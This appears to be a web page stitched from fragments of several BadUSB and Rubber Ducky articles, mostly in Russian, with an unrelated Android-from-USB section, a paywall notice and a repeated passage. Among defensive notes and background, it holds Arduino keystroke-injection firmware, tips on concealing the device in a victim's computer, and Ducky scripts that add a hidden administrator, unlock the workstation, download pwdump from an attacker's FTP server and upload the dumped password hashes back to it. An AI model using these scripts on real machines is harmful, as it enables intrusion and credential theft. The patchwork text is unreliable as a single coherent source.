Утиные истории. делаем свой аналог rubber ducky с беспроводной связью

Дорабатки и усовершенствования Bad USB WiFi Ducky

Получился довольно неплохое хакерское устройство, но нет предела совершенству. Приведу несколько примеров того, как можно доработать наш BadUSB.

Чтобы устройство не светилось, как гирлянда, в чужом компьютере, можно заменить светодиоды перемычками или закрасить их лаком для ногтей (в несколько слоев). Две отладочные платы на торчащих проводах явно вызовут подозрения, поэтому неплохо было бы подобрать или изготовить для них корпус.

Если будет возможность не просто подобраться к системному блоку, а вскрыть его, то неплохо было бы обзавестись кабелем, который подключается к материнской плате напрямую. Это сильно уменьшит шансы того, что устройство в скором времени обнаружат.

Если устройство будет внутри системного блока, то можно воспользоваться D1 mini Pro V1.1.0, так как у нее есть разъем под внешнюю антенну — она увеличит радиус действия.

Implemented Proof of Concept Attacks

Eavesdrop. Once the keyboard has been registered to the target all keystrokes are captured to the ‘/tmp’ folder.

Modify. Weaponised code could use regular expressions to modify user keystrokes in order to defeat one-time-passwords. In this POC we simply annoy the user 🙂

Replay. The POC code will automatically detect ‘ctrl-alt-delete’ and assume it is a login session. It stops recording once the ‘enter’ key is pressed. Ay any time the ‘replay’ command can be given to automatically authenticate to the workstation.

Fabricate. Start/Run or generic commands can be issued to the target operating-system just as if you were at the keyboard.

Exfiltrate. I’ve implemented a PowerShell exfiltration POC that uses the ‘morse code’ technique (LEDs) to exfiltrate data. Using custom HID output reports is faster but MS Windows restricts read/write access from Win 2K. In short, this is a very rudimentary POC, and did I mention very slow!

BadUSB. I did not actually implement a POC for this. The Facedancer has plenty of example code that can be used to fake USB peripherals to the host, but it would be nice to implement some of the BadUSB «Kali Nethunter» type attacks here.

Мотивация

Этот небольшой проект начался с того, что я наткнулся в твиттере на нелепую картинку: на ней была изображена петарда, спрятанная внутри флешки. У всех, кто видел эту картинку, была примерно одна реакция: весело, конечно, но зло. Я стал раздумывать о возможности совместить что-то подобное с Rubber Ducky, чтобы иметь и программный пейлоад, и физический.

Не буду останавливаться на неудачных экспериментах, которыми я занимался, пока искал разные подходы и делал улучшения. Большая часть этих твиков требовала умений, которыми я не владею. Но какое же веселье, если не спотыкаешься на каждом шагу? Я раньше никогда не протипировал печатных плат, не писал прошивок, не работал ни с Android, ни с чипами AVR.

INFO

В этом проекте нет ничего особенно нового: я просто объединил разные наработки других людей. Мне помогали и вдохновляли: @evanbooth, @notdan, @Viss, @gsuberland и @deviantollam.

Изначально я планировал использовать Hak5 Rubber Ducky, который стоит 50 долларов. Единственный выходной интерфейс у него — это LED на 3,3 В. Я подыскал миниатюрный MOSFET, который выдерживал 3 А и более при минимальном напряжении переключения около 1 В. Идеально: я мог подключиться к питанию светодиода и переключать что угодно, для чего хватит мощности USB.

Нужно было только найти способ управлять светодиодом, потому что Duckyscript делать этого не позволяет. Однако даже с кастомной прошивкой я смогу получить только очень ограниченный контроль над светодиодом. Потом я обнаружил проекты типа «USB Rubber Ducky за доллар» (или 3–5 долларов), в которых использовался чип ATtiny85. Это куда более удачный подход. В качестве бонуса в большинстве схем заодно получаешь два незанятых порта GPIO!

В поисках наименее затратного способа получить такое устройство, который бы не растянулся на месяцы в ожидании товара из Китая, я понял, что Digispark за 5 долларов — это практически готовые платы, и они продаются на Amazon. Там же обнаружилось несколько клонов Digispark по 3 доллара за штуку и по 1,5 доллара — на eBay. Причем у них есть не только нужный мне ATtiny85, но и большинство других компонентов, необходимых для проекта.

Вот как в итоге выглядит список деталей.

Основные детали

Здравый смысл — 1 шт. Старайся оберегать себя и других от разнообразных опасностей;
ATtiny85 — 1 шт. (с клона Digispark);
сопротивление на 68 Ом — 2 шт. (с клона Digispark);
сопротивление на 1,5 кОм — 1 шт. (с клона Digispark);
стабилитрон на 3,6 В — 2 шт. (с клона Digispark);
МОП-транзистор (MOSFET) IRLML2502 — 1 шт. (тут есть разные варианты. Например, ZXMN2F34FHTA тоже будет неплохо работать);
сопротивление примерно на 680 Ом (см

важное примечание о безопасности в инструкции по сборке).

Опциональные детали и инструменты

  • Старая флешка в выдвижном исполнении. Нам пригодится ее корпус и штекер USB;
  • печатная плата для прототипирования SMTpad 50×50 (это то, что использовал я, наверняка более опытные товарищи найдут более удачный способ собрать схему);
  • медная лента (я использовал ее для замыкания соединений на плате);
  • припой, паяльная паста, канифоль;
  • паяльник или паяльная станция.

Детали для пейлоада

  • Тут все полностью зависит от того, что ты собираешься добавлять. Пейлоад будет получать напряжение в 5 В на ту продолжительность времени, которую ты настроишь (по крайней мере, пока устройство подключено, если нужно — добавляй батарейку).
  • Для чего-то типа «звуковой гранаты» можно напрямую подключать коннекторы 5 В.
  • Для чего-то драматичного вроде дымовых шашек… эту информацию я, пожалуй, опущу, чтобы кто-нибудь из читателей не наделал глупостей. Прости, но мне придется еще в паре мест проделать с текстом такую подлянку.

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!
Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя!
Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Я уже участник «Xakep.ru»

Трансформация

Как ты понял, сегодня мы попробуем превратить обычную флешку в секретное оружие пентестера!

Прежде всего нам понадобится подходящий девайс. Так как код выложен только для конкретного микроконтроллера, то у нас есть два варианта — либо найти флешку, управляемую данным контроллером, либо провести очень непростую работу по исследованию и перепрошивке любого другого микроконтроллера. В этот раз мы выберем более легкий путь и попробуем найти подходящую флешку (а вот и список узявимого оборудования). Контроллер достаточно распространенный, так что даже каким-то чудом у меня дома среди десятка флешек нашлась подходящая.

Новая прошивка BadUSB

За основу берем библиотеку keyboard. У меня получился вот такой код.

#include "Keyboard.h"
#include <SD.h>
#include <string.h>
#include <SPI.h>
File script;
boolean first = true;
String DEFAULT_FILE_NAME = "script.txt";

void setup() {

 if (!SD.begin(4)) {
    return;
 }

 script = SD.open(DEFAULT_FILE_NAME);
 if (script) {
    Keyboard.begin();

    String line = "";
    while (script.available()) {
     char m = script.read();
     if (m == '\n'){
       Line(line);
       line = "";
       }
       else if((int) m != 13)
       {
         line += m;
       }
    }
    Line(line);

    script.close();
 } else {
 }

 Keyboard.end();
}

void Line(String l)
{
 int space_1 = l.indexOf(" ");
 if (space_1 == -1)
 {
    Press(l);
 }
 else if (l.substring(0,space_1) == "STRING")
 {
    Keyboard.print(l.substring(space_1 + 1));
 }
 else if (l.substring(0,space_1) == "DELAY")
 {
    int delaytime = l.substring(space_1 + 1).toInt();
    delay(delaytime);
 }
 else if(l.substring(0,space_1) == "REM"){}
 else
 {
     String remain = l;

     while(remain.length() > 0)
     {
       int latest_space = remain.indexOf(" ");
       if (latest_space == -1)
       {
         Press(remain);
         remain = "";
       }
       else
       {
         Press(remain.substring(0, latest_space));
         remain = remain.substring(latest_space + 1);
       }
       delay(5);
     }
 }

 Keyboard.releaseAll();
}

void Press(String b)
{
 if(b.length() == 1)
 {
    char c = b;
    Keyboard.press(c);
 }
 else if (b.equals("ENTER"))
 {
    Keyboard.press(KEY_RETURN);
 }
 else if (b.equals("CTRL"))
 {
    Keyboard.press(KEY_LEFT_CTRL);
 }
    else if (b.equals("SHIFT"))
 {
    Keyboard.press(KEY_LEFT_SHIFT);
 }
    else if (b.equals("ALT"))
 {
    Keyboard.press(KEY_LEFT_ALT);
 }
    else if (b.equals("GUI"))
 {
    Keyboard.press(KEY_LEFT_GUI);
 }
 else if (b.equals("NUMLOCK"))
 {
    Keyboard.press(219);
 }
    else if (b.equals("UP") || b.equals("UPARROW"))
 {
    Keyboard.press(KEY_UP_ARROW);
 }
    else if (b.equals("DOWN") || b.equals("DOWNARROW"))
 {
    Keyboard.press(KEY_DOWN_ARROW);
 }
    else if (b.equals("LEFT") || b.equals("LEFTARROW"))
 {
    Keyboard.press(KEY_LEFT_ARROW);
 }
    else if (b.equals("RIGHT") || b.equals("RIGHTARROW"))
 {
    Keyboard.press(KEY_RIGHT_ARROW);
 }
    else if (b.equals("DELETE"))
 {
    Keyboard.press(KEY_DELETE);
 }
    else if (b.equals("PAGEUP"))
 {
    Keyboard.press(KEY_PAGE_UP);
 }
    else if (b.equals("PAGEDOWN"))
 {
    Keyboard.press(KEY_PAGE_DOWN);
 }
    else if (b.equals("HOME"))
 {
    Keyboard.press(KEY_HOME);
 }
    else if (b.equals("ESC"))
 {
    Keyboard.press(KEY_ESC);
 }
    else if (b.equals("INSERT"))
 {
    Keyboard.press(KEY_INSERT);
 }
    else if (b.equals("TAB"))
 {
    Keyboard.press(KEY_TAB);
 }
    else if (b.equals("END"))
 {
    Keyboard.press(KEY_END);
 }
    else if (b.equals("CAPSLOCK"))
 {
    Keyboard.press(KEY_CAPS_LOCK);
 }
    else if (b.equals("F1"))
 {
    Keyboard.press(KEY_F1);
 }
    else if (b.equals("F2"))
 {
    Keyboard.press(KEY_F2);
 }
    else if (b.equals("F3"))
 {
    Keyboard.press(KEY_F3);
 }
    else if (b.equals("F4"))
 {
    Keyboard.press(KEY_F4);
 }
    else if (b.equals("F5"))
 {
    Keyboard.press(KEY_F5);
 }
    else if (b.equals("F6"))
 {
    Keyboard.press(KEY_F6);
 }
    else if (b.equals("F7"))
 {
    Keyboard.press(KEY_F7);
 }
    else if (b.equals("F8"))
 {
    Keyboard.press(KEY_F8);
 }
    else if (b.equals("F9"))
 {
    Keyboard.press(KEY_F9);
 }
    else if (b.equals("F10"))
 {
    Keyboard.press(KEY_F10);
 }
    else if (b.equals("F11"))
 {
    Keyboard.press(KEY_F11);
 }
    else if (b.equals("F12"))
 {
    Keyboard.press(KEY_F12);
 }
    else if (b.equals("N9"))
 {
    Keyboard.press (233);
    Keyboard.release (233);
 }
    else if (b.equals("N8"))
 {
    Keyboard.press (232);
    Keyboard.release (232);
 }
    else if (b.equals("N7"))
 {
    Keyboard.press (231);
    Keyboard.release (231);
 }
    else if (b.equals("N6"))
 {
    Keyboard.press (230);
    Keyboard.release (230);
 }
    else if (b.equals("N5"))
 {
    Keyboard.press (229);
    Keyboard.release (229);
 }
    else if (b.equals("N4"))
 {
    Keyboard.press (228);
    Keyboard.release (228);
 }
    else if (b.equals("N3"))
 {
    Keyboard.press (227);
    Keyboard.release (227);
 }
    else if (b.equals("N2"))
 {
    Keyboard.press (226);
    Keyboard.release (226);
 }
    else if (b.equals("N1"))
 {
    Keyboard.press (225);
    Keyboard.release (225);
 }
    else if (b.equals("N0"))
 {
    Keyboard.press (234);
    Keyboard.release (234);
 }
}

void loop() {} 

Работать микроконтроллер должен так же, как Rubber Duck, но с поддержкой цифрового блока. Все команды совпадают с Ducky Script, кроме одной. Если написать N и цифру (без разделителей), то будет эмулироваться нажатие клавиш на Numpad.

Предисловие

Прошлогодний Black Hat принес много интересных докладов. В числе наиболее обсуждаемых был доклад, посвященный неисправимой уязвимости USB-устройств, позволяющей превращать обычные флешки в инструмент распространения вредоносных программ. Атаку назвали BadUSB, но позже в Сети появились шуточки на тему «USBola», сравнивающие эту атаку с известным вирусом.

Подобные идеи использования HID-девайсов для корыстных целей были уже давно. Грех не воспользоваться тем, что ОС система доверяет устройствам, подключаемым к USB-интерфейсу. Если покопаться в памяти, то в журнале уже была статья по сходной тематике, в которой говорилось, как с помощью специального устройства Teensy можно взять под контроль машину с Windows 7 (в принципе — с любой ОС на борту). Устройство по внешнему виду напоминало собой обычную флешку, под которую собственно и маскировалось. Все это наводило на мысли, что с флеш-накопителями тоже можно провернуть такой трюк.

Introduction

Most common USB flash drives are exploitable due to the «BadUSB» vulnerability. This allows us hackers to reprogram the microcontroller in them to act as a human interface device (HID), e.g., a keyboard, and perform custom keystrokes on our target machine. This scenario is often called an «HID Payload Attack,» since you have to hand over your script to the Bad USB for the execution (more on that later). Even though almost every USB flash drive is exploitable, the only released reprogramming method is for «Phison» microcontrollers.

In this tutorial, we are going to determine the microcontroller of your USB flash drive, compile the source code published in GitHub for the tools we need, and move over to building a custom firmware with an embedded HID payload that will turn our harmless USB flash drive into a malicious keyboard designed to help us compromise our victim machine. The process is kind of like compiling and flashing ROMs to your Android device.

Как запустить андроид на нетбуке или компьютере без установки ОС

Есть ряд способов, которые позволяют не устанавливать систему на жесткий диск. Это использование программ-эмуляторов и запуск ОС прямо с флешки. Они обладают своими особенностями и преимуществами, но это не исключает их недостатки.

Эмуляторы

Эмуляторы есть не только в среде разработки приложений под андроид. Они доступны совершенно бесплатно для любого человека, чей ПК способен потянуть его. В этом основной недостаток. Слабый ПК, который еле-еле запускает программу и загружает в ней систему, не сможет запускать на ней игры и требовательные приложения.

К сведению! Мобильную ОС устанавливают в первую очередь для удобства пользоваться маломощным и старым ноутбуком, поэтому данный способ подойдет лишь разработчикам с мощными компьютерами, которым нужно регулярно тестировать свои программы и игры, эмулируя различные версии андроид.

Наиболее популярными эмуляторами являются:

  • BlueStacks (https://www.bluestacks.com/ru/index.html);
  • Tencent Gaming Buddy (https://gameloop.fun/ru);
  • AMIDuOS (https://4pda.ru/forum/index.php?showtopic=649977);
  • Droid4X (https://droid4x.ru/);
  • Nox App Player (https://ru.bignox.com/).

Виртуальные операционные системы сильно нагружают основную платформу

Запуск с флешки

Android-x86 Project или Remix OS, которые были описаны выше, также могут работать без установки. Для этого нужно просто запустить их с флеш-накопителя. Для этого в первом случае необходимо пройти процесс создания загрузочной флешки и поменять настройки БИОС, а затем при перезапуске выбрать пункт «Live CD — Run Android x86 without installation».

Если в качестве операционной системы использовалась Remix OS, то нужно проделать все то же самое, что было описано в соответствующем подпункте выше, но указать при запуске «Гостевой режим». Это позволит запустить с установочной флешки и протестировать необходимые настройки или приложения.

Важно! В любом случае при однократном запуске системы никакие приложения, игры и программы не будут сохранены, а в следующей сессии ОС предстанет в первозданном виде. Кроме этого, что с флеш-накопителей она работает более медленно

Выбор гостевого режима для запуска системы без установки

Ссылки

Security Research Labs: BadUSB (англ.). — краткое описание BadUSB на Security Research Labs.

BlackHat USA 2014: BadUSB - On Accessories that Turn Evil (англ.). — видео доклада «BadUSB — On Accessories that Turn Evil» на конференции BlackHat USA 2014.

Security Research Labs: BadUSB Slides (англ.) (недоступная ссылка). — слайды доклада «BadUSB — On Accessories that Turn Evil» на конференции BlackHat USA 2014. Архивировано 8 августа 2014 года.

BadUSB Sources (англ.). — опубликованный исходный код некоторых уязвимостей, продемонстрированных в докладе «BadUSB — On Accessories that Turn Evil».

Проверяем и разбираем функциональность

Самое время проверить, не сломалась ли какая-то из плат во время пайки. Подключаем Arduino Micro Pro к компьютеру и ждем, пока установится универсальный драйвер для HID-устройства. «Ардуина» должна сигнализировать двумя красными и одним зеленым светодиодами.

С телефона, планшета или ноутбука смотрим список точек доступа Wi-Fi. Должна появиться новая AP под названием . Если ее видим, значит, все работает. Можно вскинуть руки, закричать «It’s Alive!» и дьявольски захохотать во вспышках молний.

Подключаемся к ней. Пароль — quackquack (это дефолтный, его можно будет изменить в настройках). Теперь открываем браузер, идем по адресу 192.168.4.1 (это дефолтный адрес ESP-8266EX в режиме AP) и видим панель управления нашим устройством.

На web-интерфейсе все по-спартански, ничего лишнего. Четыре страницы, или вкладки, — две рабочие и две информационные:

Scripts. Эта вкладка предназначена для работы с уже готовыми скриптами. Изначально она пуста, но кнопкой UPLOAD NEW SCRIPT можно загрузить написанный скетч в форматах .ino и .txt из памяти устройства (с которого зашли), после чего выполнить его в любое удобное время. Можно скрипты писать самому или найти в интернете готовые решения, например тут. Не все из них рабочие, необходимо будет заранее протестировать (оболочка позволяет редактировать их). Памяти на все это дело предостаточно — почти 3 Мбайт.

Live Execute. На этой странице расположено поле, в которое мы пишем скетч. Его можно сразу выполнить или сохранить. При сохранении он отобразится на странице Scripts. Язык написания скетча отличается от привычного в Arduino, поэтому ниже поля для ввода дана инструкция с командами и описанием каждой из них.

Settings. Это страница настроек точки доступа. Тут можно поменять название точки доступа, пароль, сделать ее скрытой. Также можно указать скрипт, который будет выполняться сразу при подключении устройства к компьютеру.

Info. Эта страница носит скорее информационный характер. Тут находится ссылка на автора проекта, SDK, веб-сервер, скрипты и их интерпретатор. Можно также обновить версию прошивки ESP8266 «по воздуху»

Некоторые виды атак

Имитация клавиатуры

Устройство представляется компьютеру жертвы клавиатурой, а по истечении некоторого времени начинает отправлять последовательности нажатий клавиш. В результате злоумышленник может выполнить на компьютере жертвы любые действия, доступные авторизованному пользователю с помощью одной только клавиатуры. К примеру, злоумышленник может загрузить из интернета и запустить вредоносное ПО.

Существенным минусом данного вида атак является отсутствие доступа к информации на экране и, как следствие, отсутствие обратной связи на любые действия со стороны зараженного устройства. Например, злоумышленник не может определить как текущую раскладку клавиатуры, так и произведен ли вход в систему.

Имитация сетевой карты

Устройство представляется компьютеру жертвы сетевой картой и, таким образом, может перехватывать или перенаправлять сетевой трафик. В частности, отвечая на DHCP запрос адресом DNS сервера злоумышленника и не предоставляя шлюза по умолчанию, злоумышленник может перенаправить трафик жертвы: компьютер жертвы будет производить разрешение адреса через DNS сервер злоумышленника, но, в отсутствие шлюза по умолчанию, будет использовать другой, настоящий сетевой интерфейс.

Boot Injection

Устройство с достаточным местом для хранения вредоносного кода, например, флеш-накопитель, может определить момент включения компьютера и в момент определения BIOS’ом выдать на загрузку вирус для заражения операционной системы. Это становится возможным благодаря тому, что по поведению хоста при общении с USB микроконтроллером возможно определить ОС хоста, в частности Windows, Linux, MacOSX, а также BIOS.

Выход из виртуального окружения

Атака использует возможность повторной инициализации устройства. Выполняясь в виртуальной машине, вирус заражает любое подключенное по USB устройство. Зараженная прошивка выполняет переинициализацию и представляется двумя независимыми устройствами: неким новым и тем, которое уже было подключено к виртуальной машине. Новое устройство будет автоматически подключено к хостовой ОС, а старое — обратно в виртуальную машину. Таким образом, может быть произведен выход за пределы виртуального окружения, то есть осуществлен переход от клиентской до хостовой ОС.

Пишем скрипты для атак

Наше кибероружие подготовлено и начищено, осталось зарядить его скриптами

Обрати внимание на расстановку пауз в них (DELAY). Они нужны для того, чтобы код не начал выполняться слишком рано — прежде, чем целевой компьютер успеет на него отреагировать

Советую делать паузы побольше, исходя из того, что система жертвы будет медленней твоей тестовой. Это может быть из-за отсутствия на ней SSD, меньшего объема оперативки, медленного процессора и так далее.

Смоделируем такую ситуацию: Wi-Fi Ducky уже подключен к цели, а мы находимся где-то неподалеку. В системе есть учетная запись пользователя с правами локального администратора, и она сейчас активна. Нам необходимо выполнить какое-то действие. Для начала создадим скрипт, который создаст еще одного пользователя и добавит его в группу «Администраторы».

GUI r
STRING cmd
ENTER
DELAY 100
STRING net user hacker qwerty /add
DELAY 200
STRING net localgroup administrators hacker /add
ALT KEY_F4

Если скетч запустится с правами учетной записи обычного пользователя, то появится сообщение: «Системная ошибка 5. Отказано в доступе». Под админом он выполнится менее чем за полсекунды, после чего окно консоли закроется.

Для русифицированных версий Windows придется указать имя группы «Администраторы» по-русски: . Однако для этого потребуются дополнительные действия. Подробнее см. статью «Русифицируем уточку. Как заставить BadUSB работать с разными раскладками клавиатуры».

Отлично, теперь необходимо дождаться, пока пользователь заблокирует компьютер и уйдет, к примеру, на обед. Запускаем скрипт, который разблокирует компьютер под нашим пользователем:

TAB
DELAY 30
TAB 
DELAY 30
ENTER
TAB
DELAY 30
TAB
DELAY 30
ENTER

Вуаля! Мы работаем за компьютером жертвы без ее ведома с новой учетной записью. Конечно, если в системе всего две учетные записи — исходная и наша.

Далее, к примеру, можно загрузить с заранее подготовленного FTP-сервера pwdump:

GUI r
DELAY 30
STRING cmd
ENTER
DELAY 30
STRING echo open > ftp.txt & echo ip-ftp >> ftp.txt & echo user >> ftp.txt & echo password >> ftp.txt & echo get pwdump.exe >> ftp.txt & echo bye >> ftp.txt
ENTER
DELAY 50
STRING ftp –s:ftp.txt
DELAY 3000

После чего мы можем сдампить хеши паролей:

STRING pwdump.exe >> pass.txt

…и загрузить файл обратно на сервер:

STRING echo open > ftp1.txt & echo ip-ftp >> ftp1.txt & echo user >> ftp1.txt & echo password >> ftp1.txt & echo send pass.txt >> ftp1.txt & echo bye >> ftp1.txt
DELAY 50
STRING ftp –s:ftp1.txt

Останется воспользоваться радужными таблицами для расшифровки, и мы уже владеем учетными записями для продолжения атаки. Устройство все еще в компьютере, и делать мы можем что угодно в радиусе приема «злого Wi-Fi».

Противодействие

В рамках доклада «BadUSB — On Accessories that Turn Evil» было предложено несколько способов защиты от BadUSB, однако, по словам исследователей, полноценная интеграция защиты займет продолжительное время.

Одним из возможных способов противостояния является подпись прошивки производителем оборудования и соответствующая проверка на стороне хоста перед использованием устройства, что не предусмотрено текущей спецификацией USB. Другим решением проблемы может стать блокировка возможности перепрошивки устройств самим производителем.

Марк Шаттлворт, основатель Canonical Ltd., также высказывался по вопросу безопасности USB устройств и как решение проблемы предлагал полностью открыть исходный код прошивок.

Несмотря на то, что ряд средств комплексной антивирусной защиты, такие как ESET Endpoint Antivirus, Kaspersky Endpoint Security, компонент «Родительский контроль» у Dr.Web AV-Desk, позволяют ограничивать доступ к сменным носителям и разрешать активацию согласно «белому списку», в случае с Bad USB, таких мер недостаточно. Пользователь сам может разрешить подключение опасного устройства, ошибочно посчитав его безопасным. По утверждению корреспондента «Компьютерры» Андрея Василькова, разработчики антивирусных решений будут вынуждены в будущем добавить «отдельные модули для более гибкого дополнительного контроля над подключаемыми по USB устройствами».

Защита от атак BadUSB появилась в Kaspersky Endpoint Security 10, в обновлении от 7 декабря 2015 года.

Защитные решения Dr.Web с 11-й версии защищают от BadUSB-уязвимости для устройств, имитирующих клавиатуру.

Writing a Script

We will go ahead and create a .txt file in our preferred directory

(E:\Documents\Bad_USB\DuckEncoder\script.txt). I thought of showing you something more interesting than a «Hello World» script, so I made this one:

As you may suppose, the Bad USB will «press» Windows + R and cause windows to shut down immediately with this script. In addition, you can clearly see that I wrote «/» instead of «-«. That’s because our «keyboard» (Bad USB) has a U.S. layout and Windows is set to DEU in my country. Keep in mind that we have to change the Windows layout to U.S. and write the script the way we would do usually, or the way your victim’s PC would write it. Don’t be confused of the input.

Payloads

You can get payloads in the following repository:

VM for dummies

  1. Run VMware
  2. Import Ubuntu.ova
  3. Add serial port with the following steps:
    • Click on VM -> Settings
    • Click on +Add…
    • Select serial port
    • Click on finish
  1. Add USB controller with the following steps:
    • Click on VM -> Settings
    • Click on +Add…
    • Select USB controller
    • Click on finish
  1. Run Ubuntu VM
  2. Enter password (password: evilcrowcable)
  3. Open a terminal (CTRL+ALT+T)
  4. Run Arduino IDE with the following commands:
    • cd arduino-1.8.10-linux64/arduino-1.8.10/
    • ./arduino (NOTE: Do not run the Arduino IDE with root permissions!)
  5. Open a payload /home/evilcrowcable/attiny85_digispark/
  6. Click tools and select Board: Digispark (Default — 16.5 Mhz)
  7. Click Upload
  8. Connect the BadUSB cable when the Arduino IDE says to connect it.

Basic requirements

  1. Update Ubuntu packages with the following commands:
    • sudo apt update
    • sudo apt upgrade
  2. Install libusb and lib32stdc with the following commands:
    • sudo apt install libusb-dev
    • sudo apt install lib32stdc++6
  3. Install build-essential with the following command:
  4. Download DigisparkKeyboard library with multiple layout support: https://github.com/ernesto-xload/DigisparkKeyboard
  5. Unzip library in Arduino/libraries/directory
  6. Edit DigiKeyboard.h file and uncomment #define kbd_es_es
  7. Change #define kbd_es_es for your keyboard layout and save the changes
  8. Run Arduino IDE with the following commands (NOTE: Don’t install the Arduino IDE, just run it!)
    • cd arduino-1.X.XX-linux64/arduino-1.X.XX/ (example: cd arduino-1.8.10-linux64/arduino-1.8.10/)
    • ./arduino (NOTE: Do not run the Arduino IDE with root permissions!)
  9. Click File and then Preferences
  10. Click OK
  11. Click Tools > Board > Board Manager
  12. Search and Install: Digistump AVR Boards
  13. Close the Arduino IDE

Installation and update of Micronucleus Ubuntu

  1. Create the 49-micronucleus.rules file in the /etc/udev/rules.d/ directory.
  2. Copy the contents to the file you just created: https://github.com/micronucleus/micronucleus/wiki/Ubuntu-Linux
  3. Reboot the computer or run the following command to update the UDEV rules: udevadm control —reload-rules
  4. Download Micronucleus with the following command: git clone https://github.com/micronucleus/micronucleus.git
  5. Access the micronucleus/commandline directory with the following command: cd micronucleus/commandline
  6. Compile with the following command: make
  7. Access the .arduino15/packages/digistump/tools/micronucleus/2.0a4 directory with the following command: cd ~/.arduino15/packages/digistump/tools/micronucleus/2.0a4/
  8. Create a backup of Micronucleus with following command: mv micronucleus micronucleus.old
  9. Copy the latest version of Micronucleus to this directory with the following command: cp ~/PATH/micronucleus/commandline/micronucleus .
  10. Reboot

Чуть больше, чем Rubber Ducky

Наверняка ты уже слышал про Rubber Ducky. Это устройство из разряда BadUSB для HID-атаки. Подобного рода девайсы умеют эмулировать клавиатуру и позволяют отправить любые команды, словно их набрал текущий пользователь.

В этих устройствах есть простой микроконтроллер и память, в которую записывается скетч (код для Arduino и подобных отладочных плат). Он содержит функцию эмуляции нужного устройства и набор выполняемых им действий. Как показывает практика, обычно это клавиатура и последовательность «нажимаемых» на ней клавиш.

В статье «Злой HID» уже было детально описано, как выбрать и подготовить такой девайс, так что на этом останавливаться не буду. Стоит лишь сказать, что опасность этого метода атаки заключается в скрытности и скорости исполнения.

Конечно, у этих девайсов есть и свои недостатки. Во-первых, нужно тщательно разведать полную конфигурацию компьютера-жертвы. Во-вторых, перед реальной атакой нужно проверить, как она будет выполняться на максимально подобной тестовой системе, и внести необходимые правки — в частности, подобрать оптимальные задержки. В реальных условиях, скорее всего, будет проблематично второй раз приблизиться к атакуемому компьютеру, а если хоть один скан-код клавиши будет отправлен не вовремя, то все окажется напрасным. В-третьих, можно использовать только один скетч. Нельзя дописать какую-то функцию на лету или прервать и перезапустить набор действий. Мы изготовим устройство, лишенное этих недостатков.

Описание

USB устройства несут в себе микроконтроллер, отвечающий за общение с хостом по интерфейсу USB. В процессе инициализации микроконтроллер сообщает хосту, наряду с другой служебной информацией, классы, к которым принадлежит устройство. Хост загружает нужный драйвер и работает с устройством исходя из его класса и этих данных. Одно физическое устройство может реализовывать несколько классов и для хоста являться несколькими отдельными устройствами: веб-камеры реализуют одновременно класс видео и класс аудио устройств.

BadUSB пользуется тем фактом, что производители не защищают свои устройства от перепрошивки, а хосты не проверяют USB устройства на подлинность. Благодаря этому злоумышленник может подменить прошивку микроконтроллера и выдать одно устройство за другое. Также, так как все коммуникации ведутся через этот микроконтроллер, злоумышленник может перехватывать и подменять любые данные и команды между устройством и хостом. Возможно и автоматическое заражение устройств: устройство заражает хост, запуская на нём вредоносное ПО, затем хост автоматически заражает все подключенные к нему USB устройства.

Каждый контроллер уникален, и для каждого необходимо разрабатывать зараженную прошивку или патч отдельно. Невозможно написать универсальное программное обеспечение и использовать его на любом микроконтроллере. Процедура прошивки различается от одного контроллера к другому. Все это значительно уменьшает вероятность эпидемии BadUSB, однако не защищает от целенаправленной атаки.

Описание

USB устройства несут в себе микроконтроллер, отвечающий за общение с хостом по интерфейсу USB. В процессе инициализации микроконтроллер сообщает хосту, наряду с другой служебной информацией, классы, к которым принадлежит устройство. Хост загружает нужный драйвер и работает с устройством исходя из его класса и этих данных. Одно физическое устройство может реализовывать несколько классов и для хоста являться несколькими отдельными устройствами: веб-камеры реализуют одновременно класс видео и класс аудио устройств.

BadUSB пользуется тем фактом, что производители не защищают свои устройства от перепрошивки, а хосты не проверяют USB устройства на подлинность. Благодаря этому злоумышленник может подменить прошивку микроконтроллера и выдать одно устройство за другое. Также, так как все коммуникации ведутся через этот микроконтроллер, злоумышленник может перехватывать и подменять любые данные и команды между устройством и хостом. Возможно и автоматическое заражение устройств: устройство заражает хост, запуская на нём вредоносное ПО, затем хост автоматически заражает все подключенные к нему USB устройства.

Каждый контроллер уникален, и для каждого необходимо разрабатывать зараженную прошивку или патч отдельно. Невозможно написать универсальное программное обеспечение и использовать его на любом микроконтроллере. Процедура прошивки различается от одного контроллера к другому. Все это значительно уменьшает вероятность эпидемии BadUSB, однако не защищает от целенаправленной атаки.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *